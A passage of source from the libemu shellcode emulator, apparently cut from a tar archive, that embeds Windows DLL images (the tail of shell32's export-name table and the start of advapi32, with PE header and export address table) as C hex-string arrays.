"\x65\x63\x5F\x52\x75\x6E\x44\x4C\x4C\x00\x53\x68\x65\x6C\x6C\x45" //ec_RunDLL.ShellE /* 7C9EC950 */ "\x78\x65\x63\x5F\x52\x75\x6E\x44\x4C\x4C\x41\x00\x53\x68\x65\x6C" //xec_RunDLLA.Shel /* 7C9EC970 */ "\x6C\x45\x78\x65\x63\x5F\x52\x75\x6E\x44\x4C\x4C\x57\x00\x53\x68" //lExec_RunDLLW.Sh /* 7C9EC990 */ "\x65\x6C\x6C\x45\x78\x65\x63\x75\x74\x65\x41\x00\x53\x68\x65\x6C" //ellExecuteA.Shel /* 7C9EC9B0 */ "\x6C\x45\x78\x65\x63\x75\x74\x65\x45\x78\x00\x53\x68\x65\x6C\x6C" //lExecuteEx.Shell /* 7C9EC9D0 */ "\x45\x78\x65\x63\x75\x74\x65\x45\x78\x41\x00\x53\x68\x65\x6C\x6C" //ExecuteExA.Shell /* 7C9EC9F0 */ "\x45\x78\x65\x63\x75\x74\x65\x45\x78\x57\x00\x53\x68\x65\x6C\x6C" //ExecuteExW.Shell /* 7C9ECA10 */ "\x45\x78\x65\x63\x75\x74\x65\x57\x00\x53\x68\x65\x6C\x6C\x48\x6F" //ExecuteW.ShellHo /* 7C9ECA30 */ "\x6F\x6B\x50\x72\x6F\x63\x00\x53\x68\x65\x6C\x6C\x4D\x65\x73\x73" //okProc.ShellMess /* 7C9ECA50 */ "\x61\x67\x65\x42\x6F\x78\x41\x00\x53\x68\x65\x6C\x6C\x4D\x65\x73" //ageBoxA.ShellMes /* 7C9ECA70 */ "\x73\x61\x67\x65\x42\x6F\x78\x57\x00\x53\x68\x65\x6C\x6C\x5F\x47" //sageBoxW.Shell_G /* 7C9ECA90 */ "\x65\x74\x43\x61\x63\x68\x65\x64\x49\x6D\x61\x67\x65\x49\x6E\x64" //etCachedImageInd /* 7C9ECAB0 */ "\x65\x78\x00\x53\x68\x65\x6C\x6C\x5F\x47\x65\x74\x49\x6D\x61\x67" //ex.Shell_GetImag /* 7C9ECAD0 */ "\x65\x4C\x69\x73\x74\x73\x00\x53\x68\x65\x6C\x6C\x5F\x4D\x65\x72" //eLists.Shell_Mer /* 7C9ECAF0 */ "\x67\x65\x4D\x65\x6E\x75\x73\x00\x53\x68\x65\x6C\x6C\x5F\x4E\x6F" //geMenus.Shell_No /* 7C9ECB10 */ "\x74\x69\x66\x79\x49\x63\x6F\x6E\x00\x53\x68\x65\x6C\x6C\x5F\x4E" //tifyIcon.Shell_N /* 7C9ECB30 */ "\x6F\x74\x69\x66\x79\x49\x63\x6F\x6E\x41\x00\x53\x68\x65\x6C\x6C" //otifyIconA.Shell /* 7C9ECB50 */ "\x5F\x4E\x6F\x74\x69\x66\x79\x49\x63\x6F\x6E\x57\x00\x53\x69\x67" //_NotifyIconW.Sig /* 7C9ECB70 */ "\x6E\x61\x6C\x46\x69\x6C\x65\x4F\x70\x65\x6E\x00\x53\x74\x72\x43" //nalFileOpen.StrC /* 7C9ECB90 */ "\x68\x72\x41\x00\x53\x74\x72\x43\x68\x72\x49\x41\x00\x53\x74\x72" //hrA.StrChrIA.Str /* 7C9ECBB0 */ "\x43\x68\x72\x49\x57\x00\x53\x74\x72\x43\x68\x72\x57\x00\x53\x74" //ChrIW.StrChrW.St /* 7C9ECBD0 */ "\x72\x43\x6D\x70\x4E\x41\x00\x53\x74\x72\x43\x6D\x70\x4E\x49\x41" //rCmpNA.StrCmpNIA /* 7C9ECBF0 */ "\x00\x53\x74\x72\x43\x6D\x70\x4E\x49\x57\x00\x53\x74\x72\x43\x6D" //.StrCmpNIW.StrCm /* 7C9ECC10 */ "\x70\x4E\x57\x00\x53\x74\x72\x43\x70\x79\x4E\x41\x00\x53\x74\x72" //pNW.StrCpyNA.Str /* 7C9ECC30 */ "\x43\x70\x79\x4E\x57\x00\x53\x74\x72\x4E\x43\x6D\x70\x41\x00\x53" //CpyNW.StrNCmpA.S /* 7C9ECC50 */ "\x74\x72\x4E\x43\x6D\x70\x49\x41\x00\x53\x74\x72\x4E\x43\x6D\x70" //trNCmpIA.StrNCmp /* 7C9ECC70 */ "\x49\x57\x00\x53\x74\x72\x4E\x43\x6D\x70\x57\x00\x53\x74\x72\x4E" //IW.StrNCmpW.StrN /* 7C9ECC90 */ "\x43\x70\x79\x41\x00\x53\x74\x72\x4E\x43\x70\x79\x57\x00\x53\x74" //CpyA.StrNCpyW.St /* 7C9ECCB0 */ "\x72\x52\x43\x68\x72\x41\x00\x53\x74\x72\x52\x43\x68\x72\x49\x41" //rRChrA.StrRChrIA /* 7C9ECCD0 */ "\x00\x53\x74\x72\x52\x43\x68\x72\x49\x57\x00\x53\x74\x72\x52\x43" //.StrRChrIW.StrRC /* 7C9ECCF0 */ "\x68\x72\x57\x00\x53\x74\x72\x52\x53\x74\x72\x41\x00\x53\x74\x72" //hrW.StrRStrA.Str /* 7C9ECD10 */ "\x52\x53\x74\x72\x49\x41\x00\x53\x74\x72\x52\x53\x74\x72\x49\x57" //RStrIA.StrRStrIW /* 7C9ECD30 */ "\x00\x53\x74\x72\x52\x53\x74\x72\x57\x00\x53\x74\x72\x53\x74\x72" //.StrRStrW.StrStr /* 7C9ECD50 */ "\x41\x00\x53\x74\x72\x53\x74\x72\x49\x41\x00\x53\x74\x72\x53\x74" //A.StrStrIA.StrSt /* 7C9ECD70 */ "\x72\x49\x57\x00\x53\x74\x72\x53\x74\x72\x57\x00\x57\x4F\x57\x53" //rIW.StrStrW.WOWS /* 7C9ECD90 */ "\x68\x65\x6C\x6C\x45\x78\x65\x63\x75\x74\x65\x00\x57\x69\x6E\x33" //hellExecute.Win3 /* 7C9ECDB0 */ "\x32\x44\x65\x6C\x65\x74\x65\x46\x69\x6C\x65\x00\x57\x72\x69\x74" //2DeleteFile.Writ /* 7C9ECDD0 */ "\x65\x43\x61\x62\x69\x6E\x65\x74\x53\x74\x61\x74\x65\x00\x73\x68" //eCabinetState.sh /* 7C9ECDF0 */ "\x6C\x77\x61\x70\x69\x2E\x53\x48\x41\x6C\x6C\x6F\x63\x53\x68\x61" //lwapi.SHAllocSha /* 7C9ECE10 */ "\x72\x65\x64\x00\x73\x68\x6C\x77\x61\x70\x69\x2E\x53\x48\x46\x72" //red.shlwapi.SHFr /* 7C9ECE30 */ "\x65\x65\x53\x68\x61\x72\x65\x64\x00\x73\x68\x6C\x77\x61\x70\x69" //eeShared.shlwapi /* 7C9ECE50 */ "\x2E\x53\x48\x4C\x6F\x63\x6B\x53\x68\x61\x72\x65\x64\x00\x73\x68" //.SHLockShared.sh /* 7C9ECE70 */ "\x6C\x77\x61\x70\x69\x2E\x53\x48\x55\x6E\x6C\x6F\x63\x6B\x53\x68" //lwapi.SHUnlockSh /* 7C9ECE90 */ "\x61\x72\x65\x64\x00\x73\x68\x6C\x77\x61\x70\x69\x2E\x50\x61\x74" //ared.shlwapi.Pat /* 7C9ECEB0 */ "\x68\x42\x75\x69\x6C\x64\x52\x6F\x6F\x74\x57\x00\x73\x68\x6C\x77" //hBuildRootW.shlw /* 7C9ECED0 */ "\x61\x70\x69\x2E\x50\x61\x74\x68\x43\x6F\x6D\x62\x69\x6E\x65\x57" //api.PathCombineW /* 7C9ECEF0 */ "\x00\x73\x68\x6C\x77\x61\x70\x69\x2E\x50\x61\x74\x68\x49\x73\x55" //.shlwapi.PathIsU /* 7C9ECF10 */ "\x4E\x43\x57\x00\x73\x68\x6C\x77\x61\x70\x69\x2E\x50\x61\x74\x68" //NCW.shlwapi.Path /* 7C9ECF30 */ "\x49\x73\x52\x65\x6C\x61\x74\x69\x76\x65\x57\x00\x73\x68\x6C\x77" //IsRelativeW.shlw /* 7C9ECF50 */ "\x61\x70\x69\x2E\x50\x61\x74\x68\x47\x65\x74\x44\x72\x69\x76\x65" //api.PathGetDrive /* 7C9ECF70 */ "\x4E\x75\x6D\x62\x65\x72\x57\x00\x90\x90\x90\x90\x90\x8B\xFF\x55" //NumberW.......ÿU /* 7C9ECF90 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ ; libemu-0.2.0+git20120122+564/src/environment/win32/dlls/advapi32dll.c0000644000175300017530000042465011706767213023362 0ustar dt-npbdt-npbconst char advapi32_77DD0000[] = /* 000000 */ "\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00" //MZ..........ÿÿ.. /* 000020 */ "\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00" //........@....... /* 000040 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 000060 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xF0\x00\x00\x00" //............ð... /* 000080 */ "\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68" //.......Í!..LÍ!Th /* 0000A0 */ "\x69\x73\x20\x70\x72\x6F\x67\x72\x61\x6D\x20\x63\x61\x6E\x6E\x6F" //is.program.canno /* 0000C0 */ "\x74\x20\x62\x65\x20\x72\x75\x6E\x20\x69\x6E\x20\x44\x4F\x53\x20" //t.be.run.in.DOS. /* 0000E0 */ "\x6D\x6F\x64\x65\x2E\x0D\x0D\x0A\x24\x00\x00\x00\x00\x00\x00\x00" //mode....$....... /* 000100 */ "\xA8\x6A\xE2\x68\xEC\x0B\x8C\x3B\xEC\x0B\x8C\x3B\xEC\x0B\x8C\x3B" //.jâhì..;ì..;ì..; /* 000120 */ "\x2F\x04\xD1\x3B\xEB\x0B\x8C\x3B\x2F\x04\x83\x3B\xE1\x0B\x8C\x3B" ///.Ñ;ë..;/..;á..; /* 000140 */ "\x3D\x07\xD3\x3B\xEE\x0B\x8C\x3B\xEC\x0B\x8D\x3B\x54\x0A\x8C\x3B" //=.Ó;î..;ì..;T..; /* 000160 */ "\x2F\x04\xD0\x3B\xED\x0B\x8C\x3B\x2F\x04\xD2\x3B\xED\x0B\x8C\x3B" ///.Ð;í..;/.Ò;í..; /* 000180 */ "\x2F\x04\xEC\x3B\xF1\x0B\x8C\x3B\x2F\x04\xD3\x3B\x7E\x0B\x8C\x3B" ///.ì;ñ..;/.Ó;~..; /* 0001A0 */ "\x2F\x04\xD6\x3B\xED\x0B\x8C\x3B\x52\x69\x63\x68\xEC\x0B\x8C\x3B" ///.Ö;í..;Richì..; /* 0001C0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 0001E0 */ "\x50\x45\x00\x00\x4C\x01\x04\x00\x48\x1D\x90\x49\x5B\x4C\x6F\x72" //PE..L...H..I[Lor /* 000200 */ "\x64\x50\x45\x5D\xE0\x00\x0E\x21\x0B\x01\x07\x0A\x00\x46\x07\x00" //dPE]à..!.....F.. /* 000220 */ "\x00\x3E\x02\x00\x00\x00\x00\x00\x0B\x71\x00\x00\x00\x10\x00\x00" //.>.......q...... /* 000240 */ "\x00\x20\x07\x00\x00\x00\xDD\x77\x00\x10\x00\x00\x00\x10\x00\x00" //......Ýw........ /* 000260 */ "\x05\x00\x01\x00\x05\x00\x01\x00\x04\x00\x00\x00\x00\x00\x00\x00" //................ /* 000280 */ "\x00\xB0\x09\x00\x00\x10\x00\x00\xB8\x5B\x0A\x00\x03\x00\x00\x00" //.........[...... /* 0002A0 */ "\x00\x00\x04\x00\x00\x10\x00\x00\x00\x00\x10\x00\x00\x10\x00\x00" //................ /* 0002C0 */ "\x00\x00\x00\x00\x10\x00\x00\x00\xA4\x16\x00\x00\x52\x52\x00\x00" //............RR.. /* 0002E0 */ "\x24\x2B\x07\x00\x50\x00\x00\x00\x00\xB0\x07\x00\x80\xA9\x01\x00" //$+..P........... /* 000300 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 000320 */ "\x00\x60\x09\x00\xF8\x4A\x00\x00\x68\x55\x07\x00\x38\x00\x00\x00" //.`..øJ..hU..8... /* 000340 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 000360 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x28\x17\x02\x00\x40\x00\x00\x00" //........(...@... /* 000380 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\xA4\x06\x00\x00" //................ /* 0003A0 */ "\xC8\x29\x07\x00\x60\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //È)..`........... /* 0003C0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x74\x65\x78\x74\x00\x00\x00" //.........text... /* 0003E0 */ "\xC9\x45\x07\x00\x00\x10\x00\x00\xC9\x45\x07\x00\x00\x10\x00\x00" //ÉE......ÉE...... /* 000400 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x60" //...............` /* 000420 */ "\x2E\x64\x61\x74\x61\x00\x00\x00\x28\x46\x00\x00\x00\x60\x07\x00" //.data...(F...`.. /* 000440 */ "\x28\x46\x00\x00\x00\x60\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00" //(F...`.......... /* 000460 */ "\x00\x00\x00\x00\x40\x00\x00\xC0\x2E\x72\x73\x72\x63\x00\x00\x00" //....@..À.rsrc... /* 000480 */ "\x80\xA9\x01\x00\x00\xB0\x07\x00\x80\xA9\x01\x00\x00\xB0\x07\x00" //................ /* 0004A0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x40" //............@..@ /* 0004C0 */ "\x2E\x72\x65\x6C\x6F\x63\x00\x00\xF8\x4A\x00\x00\x00\x60\x09\x00" //.reloc..øJ...`.. /* 0004E0 */ "\xF8\x4A\x00\x00\x00\x60\x09\x00\x00\x00\x00\x00\x00\x00\x00\x00" //øJ...`.......... /* 000500 */ "\x00\x00\x00\x00\x40\x00\x00\x42\x00\x00\x00\x00\x00\x00\x00\x00" //....@..B........ /* 000520 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 000540 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 000560 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 000580 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 0005A0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 0005C0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 0005E0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 000600 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 000620 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 000640 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ ; const char advapi32_77dd16A4[] = /* 000000 */ "\x00\x00\x00\x00\xB0\x18\x8C\x49\x00\x00\x00\x00\x3E\x31\x00\x00" //.......I....>1.. /* 000020 */ "\x01\x00\x00\x00\xA5\x02\x00\x00\xA5\x02\x00\x00\xCC\x16\x00\x00" //............Ì... /* 000040 */ "\x60\x21\x00\x00\xF4\x2B\x00\x00\x24\x69\x06\x00\x2D\xB2\x02\x00" //`!..ô+..$i..-... /* 000060 */ "\x7D\xB1\x02\x00\xD1\xB1\x02\x00\xB8\x4E\x06\x00\x5B\xD4\x02\x00" //}...Ñ....N..[Ô.. /* 000080 */ "\xA0\x73\x00\x00\x49\xCE\x03\x00\x6C\xBC\x02\x00\xC9\xF1\x00\x00" //.s..IÎ..l...Éñ.. /* 0000A0 */ "\x2F\xCF\x03\x00\x37\xCC\x03\x00\x61\xCB\x03\x00\x24\xD0\x03\x00" ///Ï..7Ì..aË..$Ð.. /* 0000C0 */ "\x19\xD1\x03\x00\x94\xCD\x03\x00\xE2\xCC\x03\x00\x31\x7D\x00\x00" //.Ñ...Í..âÌ..1}.. /* 0000E0 */ "\xD8\x2E\x01\x00\x0C\xD4\x03\x00\x4F\x81\x02\x00\x3F\xD3\x03\x00" //Ø....Ô..O...?Ó.. /* 000100 */ "\x5A\xD4\x03\x00\xA3\x7E\x02\x00\x87\xD3\x03\x00\xBE\xD3\x03\x00" //ZÔ...~...Ó...Ó.. /* 000120 */ "\xA8\xD4\x03\x00\x83\x35\x04\x00\x00\xCC\x03\x00\x0C\xF0\x00\x00" //.Ô...5...Ì...ð.. /* 000140 */ "\xC9\x7C\x00\x00\x8C\x74\x00\x00\x7B\xBD\x02\x00\x7D\xD2\x02\x00" //É|...t..{...}Ò.. /* 000160 */ "\xE0\xC8\x03\x00\x84\xC3\x03\x00\x74\x23\x05\x00\x74\x23\x05\x00" //àÈ...Ã..t#..t#.. /* 000180 */ "\xA4\x23\x05\x00\xA4\x23\x05\x00\xFE\x24\x05\x00\xFE\x24\x05\x00" //.#...#..þ$..þ$.. /* 0001A0 */ "\xE0\x1E\x05\x00\xA5\x1C\x05\x00\xD6\x24\x05\x00\xD6\x24\x05\x00" //à.......Ö$..Ö$.. /* 0001C0 */ "\xDA\x25\x05\x00\xDA\x25\x05\x00\x3F\x25\x05\x00\x3F\x25\x05\x00" //Ú%..Ú%..?%..?%.. /* 0001E0 */ "\x1B\x25\x05\x00\x1B\x25\x05\x00\x09\x37\x05\x00\x01\x71\x06\x00" //.%...%...7...q.. /* 000200 */ "\x89\x71\x06\x00\x69\x6E\x06\x00\x01\x70\x06\x00\xCA\x7F\x00\x00" //.q..in...p..Ê... /* 000220 */ "\x77\xC8\x03\x00\x65\xC2\x03\x00\x98\xAF\x00\x00\x9C\x34\x04\x00" //wÈ..eÂ.......4.. /* 000240 */ "\xBD\x54\x02\x00\xE5\x6C\x01\x00\xD0\x6D\x05\x00\x16\xBE\x02\x00" //.T..ål..Ðm...... /* 000260 */ "\x3D\xAB\x00\x00\x09\x4A\x02\x00\x29\xA0\x05\x00\xED\xCC\x02\x00" //=....J..)...íÌ.. /* 000280 */ "\x01\x2E\x05\x00\xC5\x2D\x05\x00\x5A\x4B\x04\x00\x76\x49\x04\x00" //....Å-..ZK..vI.. /* 0002A0 */ "\xDF\x30\x05\x00\xDF\x30\x05\x00\xBA\x30\x05\x00\xBA\x30\x05\x00" //ß0..ß0...0...0.. /* 0002C0 */ "\xCC\x4D\x04\x00\x45\x4A\x04\x00\x8D\xC1\x02\x00\x0F\xF1\x00\x00" //ÌM..EJ...Á...ñ.. /* 0002E0 */ "\x38\x4C\x04\x00\xCE\x49\x04\x00\xDC\x4A\x04\x00\x23\x49\x04\x00" //8L..ÎI..ÜJ..#I.. /* 000300 */ "\x51\x4D\x04\x00\x06\x2F\x01\x00\xDC\x4C\x04\x00\x57\x44\x02\x00" //QM.../..ÜL..WD.. /* 000320 */ "\xA8\xD5\x03\x00\xE7\xF0\x00\x00\xC5\xE9\x04\x00\x71\xD5\x03\x00" //.Õ..çð..Åé..qÕ.. /* 000340 */ "\x2E\x4F\x01\x00\xDE\xD5\x03\x00\xE8\x0C\x04\x00\xDD\x0A\x04\x00" //.O..ÞÕ..è...Ý... /* 000360 */ "\xA9\xA8\x01\x00\xFD\x5F\x04\x00\x8C\xDC\x03\x00\x11\x72\x06\x00" //....ý_...Ü...r.. /* 000380 */ "\xA9\x73\x06\x00\xCB\xAD\x05\x00\x9D\x51\x02\x00\x09\x85\x04\x00" //.s..Ë....Q...... /* 0003A0 */ "\xB1\x85\x04\x00\xA9\x7F\x04\x00\x99\x80\x04\x00\x8D\xDF\x01\x00" //.............ß.. /* 0003C0 */ "\xA9\x89\x04\x00\x09\x88\x04\x00\xD9\x88\x04\x00\x80\x8F\x04\x00" //........Ù....... /* 0003E0 */ "\x9E\x8E\x04\x00\xCC\x8E\x04\x00\xC6\x8D\x04\x00\xF5\xE0\x01\x00" //....Ì...Æ...õà.. /* 000400 */ "\xF9\x7D\x04\x00\x29\x83\x04\x00\x19\x84\x04\x00\xD1\x7E\x04\x00" //ù}..).......Ñ~.. /* 000420 */ "\x59\x86\x04\x00\x31\x87\x04\x00\x17\x8F\x04\x00\xDE\x6E\x02\x00" //Y...1.......Þn.. /* 000440 */ "\xB9\x7C\x04\x00\x89\x81\x04\x00\x59\x82\x04\x00\x59\x7D\x04\x00" //.|......Y...Y}.. /* 000460 */ "\x2D\x78\x04\x00\xD1\x78\x04\x00\x60\x73\x04\x00\xF8\x72\x04\x00" //-x..Ñx..`s..ør.. /* 000480 */ "\x3D\x79\x01\x00\x99\x7F\x01\x00\x70\x10\x04\x00\x71\x9C\x01\x00" //=y......p...q... /* 0004A0 */ "\x29\xA1\x01\x00\xFD\x9F\x01\x00\xCC\x9B\x01\x00\xBC\x9E\x01\x00" //)...ý...Ì....... /* 0004C0 */ "\xF9\x1C\x04\x00\x39\x19\x04\x00\x60\xE3\x01\x00\x01\x12\x04\x00" //ù...9...`ã...... /* 0004E0 */ "\xA1\x29\x04\x00\x61\x14\x04\x00\x09\x2B\x04\x00\xF9\x1B\x04\x00" //.)..a....+..ù... /* 000500 */ "\x49\x18\x04\x00\xF4\xB3\x02\x00\xE1\x26\x04\x00\x89\x2D\x04\x00" //I...ô...á&...-.. /* 000520 */ "\xB4\x9D\x01\x00\x98\x12\x02\x00\x39\x13\x02\x00\x21\x1B\x04\x00" //........9...!... /* 000540 */ "\x9E\x9A\x01\x00\x21\x1E\x04\x00\xF1\xA1\x01\x00\xEE\x7E\x01\x00" //....!...ñ...î~.. /* 000560 */ "\x91\x20\x04\x00\x51\x1A\x04\x00\xF1\x10\x04\x00\x61\x21\x04\x00" //....Q...ñ...a!.. /* 000580 */ "\x29\x23\x04\x00\xF1\x2C\x04\x00\x61\x2C\x04\x00\xE1\x1F\x04\x00" //)#..ñ,..a,..á... /* 0005A0 */ "\xD1\x1F\x04\x00\x41\xC8\x02\x00\x22\x35\x02\x00\x41\x37\x04\x00" //Ñ...AÈ.."5..A7.. /* 0005C0 */ "\xCF\x33\x04\x00\x9A\xD2\x02\x00\xB1\x74\x06\x00\xD3\x79\x02\x00" //Ï3...Ò...t..Óy.. /* 0005E0 */ "\x0C\x4F\x01\x00\xEA\x35\x04\x00\x11\x82\x00\x00\x9E\x81\x00\x00" //.O..ê5.......... /* 000600 */ "\xE1\x8A\x06\x00\x99\x88\x06\x00\x26\x87\x06\x00\x79\x8A\x06\x00" //á.......&...y... /* 000620 */ "\x31\x88\x06\x00\xDE\x54\x02\x00\xF4\x79\x02\x00\x81\x8B\x06\x00" //1...ÞT..ôy...... /* 000640 */ "\xAF\x5D\x02\x00\x44\x5E\x02\x00\xE1\x89\x06\x00\x99\x87\x06\x00" //.]..D^..á....... /* 000660 */ "\xF7\x5E\x02\x00\xCF\x10\x02\x00\xD7\x5C\x02\x00\x39\x89\x06\x00" //÷^..Ï...×\..9... /* 000680 */ "\xA7\x7B\x02\x00\x83\x80\x02\x00\xD5\x7D\x02\x00\xA5\x37\x02\x00" //.{......Õ}...7.. /* 0006A0 */ "\xD5\xA5\x05\x00\xAC\x36\x04\x00\x90\x33\x04\x00\x51\x36\x04\x00" //Õ....6...3..Q6.. /* 0006C0 */ "\x25\x36\x04\x00\x29\x75\x06\x00\xE1\x75\x06\x00\x89\x6A\x06\x00" //%6..)u..áu...j.. /* 0006E0 */ "\x47\x6B\x02\x00\x2F\x6C\x06\x00\xB8\x69\x06\x00\x61\x7D\x06\x00" //Gk../l...i..a}.. /* 000700 */ "\x81\xAE\x05\x00\x09\xDF\x03\x00\xE9\xD2\x03\x00\x7A\xF0\x00\x00" //.....ß..éÒ..zð.. /* 000720 */ "\xD9\x37\x04\x00\x12\x34\x04\x00\xFC\xD4\x03\x00\xBB\xB0\x05\x00" //Ù7...4..üÔ...... /* 000740 */ "\xDC\xB0\x05\x00\x8C\x36\x04\x00\xED\x34\x04\x00\xB2\x24\x05\x00" //Ü....6..í4...$.. /* 000760 */ "\xB8\x7C\x00\x00\x69\x38\x05\x00\x81\x37\x05\x00\x33\x4C\x01\x00" //.|..i8...7..3L.. /* 000780 */ "\x78\x7E\x02\x00\x5F\x1C\x05\x00\x0E\x1C\x05\x00\x61\xCA\x03\x00" //x~.._.......aÊ.. /* 0007A0 */ "\x75\x0A\x02\x00\x97\x1B\x05\x00\x37\x1B\x05\x00\xE8\x0F\x02\x00" //u.......7...è... /* 0007C0 */ "\x01\x1C\x05\x00\xE3\x1B\x05\x00\x23\xD7\x03\x00\x03\xC0\x02\x00" //....ã...#×...À.. /* 0007E0 */ "\xF0\xFC\x01\x00\xDD\x99\x02\x00\xA7\x24\x05\x00\x6C\x24\x05\x00" //ðü..Ý....$..l$.. /* 000800 */ "\x65\x4F\x01\x00\x5C\x7D\x00\x00\x8B\xD4\x04\x00\x5A\xD2\x04\x00" //eO..\}...Ô..ZÒ.. /* 000820 */ "\x67\xD7\x04\x00\xAF\xD6\x04\x00\x98\x26\x05\x00\x7C\x26\x05\x00" //g×...Ö...&..|&.. /* 000840 */ "\x7C\x26\x05\x00\x98\x26\x05\x00\xE4\x18\x05\x00\x81\x28\x05\x00" //|&...&..ä....(.. /* 000860 */ "\xB3\x26\x05\x00\xE6\x4F\x01\x00\x8B\x5D\x02\x00\x20\x5E\x02\x00" //.&..æO...]...^.. /* 000880 */ "\xF1\x35\x05\x00\x89\xD6\x03\x00\xB9\x4B\x01\x00\xE7\x73\x00\x00" //ñ5...Ö...K..çs.. /* 0008A0 */ "\x87\x4B\x01\x00\xBB\x74\x00\x00\x55\x4B\x01\x00\xE0\xDD\x03\x00" //.K...t..UK..àÝ.. /* 0008C0 */ "\x2C\xD5\x03\x00\x48\x4E\x02\x00\x32\x2C\x05\x00\x2F\x2A\x05\x00" //,Õ..HN..2,../*.. /* 0008E0 */ "\x99\x76\x06\x00\x39\x77\x06\x00\xD9\x77\x06\x00\x79\x78\x06\x00" //.v..9w..Ùw..yx.. /* 000900 */ "\x3B\xF2\x00\x00\x69\x55\x01\x00\x50\x55\x01\x00\x82\x55\x01\x00" //;ò..iU..PU...U.. /* 000920 */ "\x05\x73\x00\x00\x86\xAD\x05\x00\x41\xAD\x05\x00\x89\xAC\x05\x00" //.s......A....... /* 000940 */ "\x5F\x26\x05\x00\x5F\x26\x05\x00\x2F\x26\x05\x00\x2F\x26\x05\x00" //_&.._&../&../&.. /* 000960 */ "\x43\x26\x05\x00\x43\x26\x05\x00\xC4\x54\x01\x00\x6D\x49\x01\x00" //C&..C&..ÄT..mI.. /* 000980 */ "\x21\xDE\x03\x00\xE8\x11\x02\x00\xA0\x6E\x02\x00\x2B\x4F\x02\x00" //!Þ..è....n..+O.. /* 0009A0 */ "\x69\x6B\x06\x00\x29\xE4\x01\x00\xC8\x9E\x00\x00\x5B\x4C\x01\x00" //ik..)ä..È...[L.. /* 0009C0 */ "\x49\xDA\x00\x00\x26\x74\x00\x00\xE0\x4E\x01\x00\x09\x7D\x00\x00" //IÚ..&t..àN...}.. /* 0009E0 */ "\xC6\x79\x00\x00\x8B\x56\x01\x00\x7F\x4D\x06\x00\x1A\x4E\x06\x00" //Æy...V...M...N.. /* 000A00 */ "\xE5\x4C\x06\x00\x51\x4C\x06\x00\xB7\xD7\x04\x00\x35\xBD\x02\x00" //åL..QL...×..5... /* 000A20 */ "\xC9\x48\x01\x00\x9E\xEC\x04\x00\x17\x7F\x02\x00\x11\x4C\x01\x00" //ÉH...ì.......L.. /* 000A40 */ "\x19\xF2\x00\x00\xAB\x78\x02\x00\x19\x79\x06\x00\x0E\x10\x04\x00" //.ò...x...y...... /* 000A60 */ "\x3B\x10\x04\x00\x2A\x01\x04\x00\xA3\x45\x02\x00\xFD\x00\x04\x00" //;...*....E..ý... /* 000A80 */ "\x8F\xD7\x03\x00\x59\x5B\x01\x00\xEC\xD8\x03\x00\x07\x57\x01\x00" //.×..Y[..ìØ...W.. /* 000AA0 */ "\x6C\xE4\x03\x00\x6F\xDB\x03\x00\x4E\xE3\x03\x00\x6B\xDA\x03\x00" //lä..oÛ..Nã..kÚ.. /* 000AC0 */ "\x38\xC2\x02\x00\xDF\xB8\x02\x00\x80\x21\x05\x00\xD1\x1F\x05\x00" //8Â..ß....!..Ñ... /* 000AE0 */ "\xF1\xAB\x04\x00\x09\xBB\x04\x00\x69\xB0\x04\x00\xF4\x1E\x01\x00" //ñ.......i...ô... /* 000B00 */ "\x31\xB4\x04\x00\x91\xB9\x04\x00\x39\xB5\x04\x00\xB1\xA1\x04\x00" //1.......9....... /* 000B20 */ "\x01\xB2\x04\x00\x65\x99\x04\x00\xAF\x60\x01\x00\xA1\xB4\x04\x00" //....e....`...... /* 000B40 */ "\x39\xAB\x04\x00\xF9\xB8\x04\x00\x99\xBA\x04\x00\x55\xB8\x04\x00" //9...ù.......U... /* 000B60 */ "\x0D\xA1\x04\x00\xDE\x2D\x01\x00\xE9\xBB\x04\x00\x55\xC1\x04\x00" //....Þ-..é...UÁ.. /* 000B80 */ "\xC9\xBC\x04\x00\xD2\xE2\x01\x00\x38\x5D\x01\x00\x71\xC2\x04\x00" //É...Òâ..8]..qÂ.. /* 000BA0 */ "\xC5\x59\x01\x00\x01\xC4\x04\x00\xEE\x5C\x01\x00\xE9\xC5\x04\x00" //ÅY...Ä..î\..éÅ.. /* 000BC0 */ 